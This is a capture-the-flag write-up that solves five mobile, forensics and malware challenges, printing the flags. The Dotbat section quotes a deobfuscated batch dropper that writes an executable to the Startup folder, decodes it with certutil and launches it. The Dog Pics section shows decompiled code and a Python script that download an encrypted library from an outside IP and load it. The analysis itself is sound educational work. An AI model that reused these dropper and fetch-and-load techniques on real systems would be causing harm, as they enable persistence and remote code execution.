Reactor
Mobile
Description
We built this app to protect the reactor codes
Solution
Opening the APK in Jadx and taking a look at the MainActivity
we can see that this is a React Native application by the inheritance from ReactActivity
.
package com.reactor;
import com.facebook.react.ReactActivity;
public class MainActivity extends ReactActivity {
/* access modifiers changed from: protected */
@Override // com.facebook.react.ReactActivity
public String getMainComponentName() {
return "Reactor";
}
}
Lets take a look at the JavaScript bundle in Resources/assets
.
The last few functions contains some interesting strings, lets clean them up and take a look at what they do. First lets find where the input is processed.
"Insert the pin to show the reactor codes."), n.default.createElement(l.TextInput, {
style: {
height: 40,
fontSize: 15,
textAlign: "center"
},
placeholder: "PIN",
keyboardType: "number-pad",
maxLength: 4,
onChangeText: function(t) {
return v(t)
},
onSubmitEditing: function(t) {
c((0, r(d[4]).decrypt)(t.nativeEvent.text)), v("")
},
defaultValue: y
}
So the input is passed to the decrypt
function. Lets find that.
__d(function(g, r, _i, a, m, e, d) {
var t = r(d[0])(r(d[1])),
n = "U1VTUE5aVFVXDVEBUFoHDlZcAQYDXApTAg8GA1RaBlQCCVMGB0Q=";
function o(t, n) {
for (var o = '', c = t; c.length < n.length;) c += c;
for (var f = 0; f < n.length; ++f) o += String.fromCharCode(c.charCodeAt(f) ^ n.charCodeAt(f));
return o
}
m.exports.encrypt = function(n, c) {
return t.default.encode(o(n, c))
}, m.exports.decrypt = function(c) {
return o(c, t.default.decode(n))
}
}, 400, [3, 401]);
So the input is used as an XOR key to decrypt the value in n
after it has been base64 decoded.
All we need now is the PIN. Lets take the base64 encoded flag, decode it and XOR with flag{
and we get 59275 as the first characters. So the PIN probably is 5927.
When using 5927 as the XOR key we get the flag.
flag{cfbb4c6ec59ce316e8d7644ac4c70a12}
Gopher Pics
Mobile
Description
Everyone talks about dogs and cats but gophers are also cute.
Solution
Opening the APK in Jadx and taking a look at the MainActivity
we find OnClickListeners for three buttons. The only one that does anything interesting is the shuffle-button which calls Randgo.random();
.
Taking a look at the Randgo
class we see that the random()
method is a native library method, public static native long random();
. So lets dump the libraries using apktool and take a look at what libraries are included.
After dumping the contents of the APK, we get a library called libgojni.so for multiple architectures.
arm64-v8a/: libgojni.so armeabi-v7a/: libgojni.so x86/: libgojni.so x86_64/: libgojni.so
Lets open one of the binaries in IDA and take a look at what it does.
First, lets find the exported function java_randgo_Randgo_random
and follow the calls to the implementation, which is found in the function randgo_Random
.
At the beginning of this function we can see that a hex string is copied and then hex decoded.
qmemcpy(v24, "666c61677b31326133396333326531303863613139303735383366366235613566643163627d", sizeof(v24));
runtime_makeslice(&stru_13AE80, (runtime__type_0 *)((char *)&mu.gcdata + 5), 38LL, src);
val.array = srca;
_r3.array = srca;
_r3.len = (__int64)&mu.gcdata + 5;
_r3.cap = 38LL;
srcb.array = (uint8 *)v24;
srcb.len = 76LL;
srcb.cap = 76LL;
v23 = (unsigned __int128)encoding_hex_Decode(_r3, srcb);
When we hex decode the string we get the flag.
flag{12a39c32e108ca1907583f6b5a5fd1cb}
Excellent
Forensics
Description
My computer crashed and I lost everything I was doing for work…
Solution
For this challenge we get a memory dump to analyze, lets start by checking the running processes using Volatility 3.
After running vol3 -f image.bin windows.pslist
we get all the running processes at the time of the memory dump, and in the process list we can see that LibreOffice was running.
1036 6392 LibreOfficePor 0xaa873cd96080 6 - 1 True 2021-09-14 19:55:31.000000 N/A Disabled 5332 1036 soffice.exe 0xaa873e3df080 2 - 1 True 2021-09-14 19:55:31.000000 N/A Disabled 6048 5332 soffice.bin 0xaa873e0f2080 16 - 1 True 2021-09-14 19:55:31.000000 N/A Disabled
Lets do a files can to see if there’s any interesting files open. After running vol3 -f image.bin windows.filescan
and looking for any Excel documents we find 0xaa873df05250 \$Recycle.Bin\S-1-5-21-3728041566-3047049471-3236530824-1001\$INIDDM6.xlsx 216
. Dumping this file we only get the path to the original file, C:\Users\congon4tor\Desktop\flag.xlsx
.
But we don’t find any other xlsx file in the dump, but searching for any file named flag in the files can we find a ODS file.
0xaa873a6567c0 \Users\congon4tor\Desktop\flag.ods 216 0xaa873ab2e740 \Users\congon4tor\Desktop\flag.ods 216 0xaa873df14610 \Users\congon4tor\Desktop\.~lock.flag.ods# 216 0xaa873df19750 \Users\congon4tor\AppData\Roaming\Microsoft\Windows\Recent\flag.lnk 216
Dumping the file flag.ods and opening it we get a question if we want to repair the broken file.

Clicking yes we can open the document.

flag{4b02ee4e7b62139152e8d0d4373a7c3d}
Dotbat
Malware
Description
This file is a dotbat, literally! Don’t believe me? Try it!
Solution
Opening the attached file we only see a bunch of characters.

Cat:ing the file and piping it to a new file we get the obfuscated bat file.
The file contains a lot of values like %r:~10,1%
which is in place of certain characters, and a bunch of ^
characters sprinkled through the file. After some manual mapping we find the deobfuscated header.
set name = batch obuscator by moom825
set github = https://github.com/moom825/batch-obfuscator-made-in-python
Checking out the source of the obfuscator we find all the correct values that has been replaced with the replacement values. After we have replaced all the values and removed all ^
from the file we get the deobfuscated batch script.
The interesting part of the script is the following.
Set pooth="%sySTEmdRive%\pROGRAmDAtA\MicrosOFt\WiNDOWs\sTArt mEnU\pROGRAMs\STARTup\WiNDIr.EXe"
echo -----BEGIN CERTIFICATE----->%pooth%
set temp64=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth%
set temp64=AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
EchO %temp64%>>%pooth%
set temp64=ZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZt44MAAAAAAAAAAOAAIgALATAAAA4AAAAIAAAAAAAAri0A
EchO %temp64%>>%pooth%
<OMITTED>
EchO %temp64%>>%pooth%
set temp64=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth%
set temp64=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EchO %temp64%>>%pooth%
echo -----END CERTIFICATE----->>%pooth%
certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions
for /f %%a In ('TaSKLISt /Nh /Fi "IMaGEname EQ WiNDIr.EXe"') dO iF %%a == WiNDIr.EXe (dEL /S /Q /F "%~F0" &%puBlIC:~74,9%& exit) elsE (GoTO MRNbt)
So the script creates a file containing a encoded payload, decodes the payload using certutil
and then tries to run the decoded payload.
Lets dump the payload and decode it to take a look at what it is. After decoding using certutil -f -decode dump out.exe
we get a .NET executable.
Now we can decompile the executable to find out what it does. In the Program
class we find the following.
using System;
namespace EncryptionDecryptionUsingSymmetricKey
{
internal class Program
{
private static void Main(string[] args)
{
string str = AesOperation.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", "o7oReaGhEfveURcDvHbErcud9+MjzWvloHZ8lIRu6axzfAbyUUaSthwCfc+hkmgR");
if (args.Length != 1 || !int.TryParse(args[0].ToString(), out int _))
return;
Random random = new Random();
if (int.Parse(args[0]) != random.Next())
return;
Console.WriteLine(str);
}
}
}
Ok, so we got some decryption going on, lets take a look at the AesOperation.DecryptString
method.
public static string DecryptString(string key, string cipherText)
{
byte[] numArray = new byte[16];
byte[] buffer = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = numArray;
ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(buffer))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader((Stream) cryptoStream))
return streamReader.ReadToEnd();
}
}
}
}
We have a base64 encoded AES encrypted string, decrypted by the key and a null-byte IV. Lets try to decrypt it.

Great, we got the flag!
flag{3a75349c5d614587898c785d88da3582}
Dog Pics
Malware
Description
Go download my new dog pics app!!! I promise it’s not malware.
Solution
After opening the APK in Jadx and taking a look at the MainActivity
, the only interesting thing we can find is a native library import and the usage in the onCreate
method.
private final native void fetch();
/* access modifiers changed from: protected */
@Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
Screen.INSTANCE.setWidth(getWindowManager().getCurrentWindowMetrics().getBounds().height());
Screen.INSTANCE.setHeight(getWindowManager().getCurrentWindowMetrics().getBounds().width());
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(layoutInflater)");
this.binding = inflate;
if (inflate != null) {
setContentView(inflate.getRoot());
if (!checkInternet()) {
finishAffinity();
}
fetch();
return;
}
Intrinsics.throwUninitializedPropertyAccessException("binding");
throw null;
}
Lets dump the resources using apktool. Now we got a library named libdoggo.so for multiple architectures. Lets open one of them up in IDA and take a look.
First we need to find the exported function Java_com_example_dogpics_MainActivity_fetch
.

Here we see that a function pointer to _Z3wagv_ptr
is started on a new thread. Lets take a look at that function.
v19 = __readfsqword(0x28u);
Tcpclient::Tcpclient(tcpClient, "137.184.62.226", 14LL, 9999LL);
Tcpclient::make_connection((Tcpclient *)tcpClient);
LOWORD(data[0]) = 0;
v0 = std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::append(data, "\n");
ptr = *(void **)(v0 + 16);
*(_OWORD *)sendBuf = *(_OWORD *)v0;
*(_OWORD *)v0 = 0LL;
*(_QWORD *)(v0 + 16) = 0LL;
Tcpclient::send_data(tcpClient, sendBuf);
if ( (sendBuf[0] & 1) != 0 )
operator delete(ptr);
if ( ((__int64)data[0] & 1) != 0 )
operator delete(v15);
*(_OWORD *)data = 0LL;
v15 = 0LL;
grab((Tcpclient *)tcpClient);
v1 = memfd_create("_", 1LL);
if ( v1 == -1 )
{
exception = (_QWORD *)__cxa_allocate_exception(8LL);
*exception = "Failed";
__cxa_throw(exception, &`typeinfo for'char const*, 0LL);
}
decrypt((__int64 *)data);
v2 = data[0];
__write_chk(v1, data[0], data[1] - data[0], -1LL);
v3 = getpid();
sub_28B50(sendBuf, (__int64)v2, v4, v5, v3, v1);
v6 = dlopen(sendBuf, 1);
if ( v6 )
dlclose(v6);
close(v1);
if ( data[0] )
{
data[1] = data[0];
operator delete(data[0]);
}
Tcpclient::~Tcpclient((Tcpclient *)tcpClient);
result = (_QWORD *)__readfsqword(0x28u);
if ( result != (_QWORD *)v19 )
{
v9 = result;
if ( data[0] )
{
data[1] = data[0];
operator delete(data[0]);
}
Tcpclient::~Tcpclient((Tcpclient *)tcpClient);
sub_4E0F0(v9, 1LL, v10, v11, v12, v13);
}
return result;
}
So whats happening here.
- A tcp connections is made to
137.184.62.226:9999
- Some data is sent.
- If it succeeds, the function
grab
is called. - The function
decrypt
is called. - A dynamic library is loaded.
- Cleanup
So we can assume that this function downloads an encrypted library and loads it.
Lets take a look at the grab
function.
_QWORD *__fastcall grab(Tcpclient *this, __int64 charVector)
{
const char *header; // rdi
int dataLen; // eax
unsigned __int64 dataLen2; // r15
unsigned __int8 *dataBuf; // rsi
unsigned __int64 v8; // rax
__int64 v9; // rdx
__int64 v10; // rcx
__int64 v11; // r8
__int64 v12; // r9
_QWORD *result; // rax
_QWORD *exception; // rax
_QWORD *v15; // rbx
char v16; // [rsp+Fh] [rbp-49h] BYREF
char inputBuffer[16]; // [rsp+10h] [rbp-48h] BYREF
void *nullPointer; // [rsp+20h] [rbp-38h]
char v19[8]; // [rsp+28h] [rbp-30h] BYREF
unsigned __int64 v20; // [rsp+30h] [rbp-28h]
v20 = __readfsqword(0x28u);
v19[0] = 0;
*(_OWORD *)inputBuffer = 0LL;
nullPointer = 0LL;
while ( Tcpclient::recv_data(this, (unsigned __int8 *)v19, 1uLL) && v19[0] )
std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::push_back(
inputBuffer,
(unsigned int)v19[0]);
if ( (inputBuffer[0] & 1) != 0 )
header = (const char *)nullPointer;
else
header = &inputBuffer[1];
dataLen = atoi(header);
if ( dataLen <= 0 )
{
exception = (_QWORD *)__cxa_allocate_exception(8LL);
*exception = "Failed";
__cxa_throw(exception, &`typeinfo for'char const*, 0LL);
}
dataLen2 = (unsigned int)dataLen;
v16 = 0;
dataBuf = *(unsigned __int8 **)charVector;
v8 = *(_QWORD *)(charVector + 8) - *(_QWORD *)charVector;
if ( v8 >= dataLen2 )
{
if ( v8 > dataLen2 )
*(_QWORD *)(charVector + 8) = &dataBuf[dataLen2];
}
else
{
std::__ndk1::vector<unsigned char,std::__ndk1::allocator<unsigned char>>::__append(charVector, dataLen2 - v8, &v16);
dataBuf = *(unsigned __int8 **)charVector;
}
Tcpclient::recv_data(this, dataBuf, dataLen2);
if ( (inputBuffer[0] & 1) != 0 )
operator delete(nullPointer);
result = (_QWORD *)__readfsqword(0x28u);
if ( result != (_QWORD *)v20 )
{
v15 = result;
if ( (inputBuffer[0] & 1) != 0 )
operator delete(nullPointer);
sub_4E0F0(v15, (__int64)dataBuf, v9, v10, v11, v12);
}
return result;
}
So whats going on here. First data is received until a null byte is received and stored in the header
variable. Then the header variable is converted from ascii to an int and stored in the dataLen
variable. Then some more data is received with the dataLen
as the size. Then the data is returned.
Now lets take a look at the decrypt
function.
__int64 __fastcall decrypt(__int64 *input)
{
__int64 result; // rax
char xorValue; // cl
unsigned __int64 idx; // rdx
result = *input;
if ( input[1] != *input )
{
xorValue = 0x41;
idx = 0LL;
do
{
*(_BYTE *)(result + idx++) ^= xorValue;
result = *input;
xorValue += 0x41;
}
while ( input[1] - *input > idx );
}
return result;
}
So a simple XOR encryption, each byte in the received data is XOR:ed with the xorValue
, which is incremented with 0x41 for each character that has been processed.
Now we need to figure out what data is sent to receive the encrypted payload.
Starting the APK in Android Studio while capturing the network traffic with Wireshark we can see that the data sent is i686
, so the malware probably specifies which architecture it wants the next stage to be, and then the server sends the encrypted payload for the requested architecture.
Lets write a script to download and decode the payload for further analysis.
#!/usr/bin/env python3
from pwn import *
r = remote('137.184.62.226', 9999)
r.sendline(b'i686')
data = r.recvall()
r.close()
end_of_header = data.index(0x00)
data = data[end_of_header+1::]
xor_value = 0x41
decoded = bytearray()
for idx in range(0, len(data)):
decoded.append(data[idx] ^ xor_value)
xor_value = (xor_value + 0x41) & 0xFF
with open('payload', 'wb') as f:
f.write(decoded)
Running this we get the file payload, which is indeed a valid library.
file payload payload: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
Opening the file in IDA we can see a function named get_flag.

Taking a look at the value unk_52C
we see that it’s the flag.

Extracting the data and removing the null bytes we get the flag.
flag{a5600f76551f967ccd254748164df62c}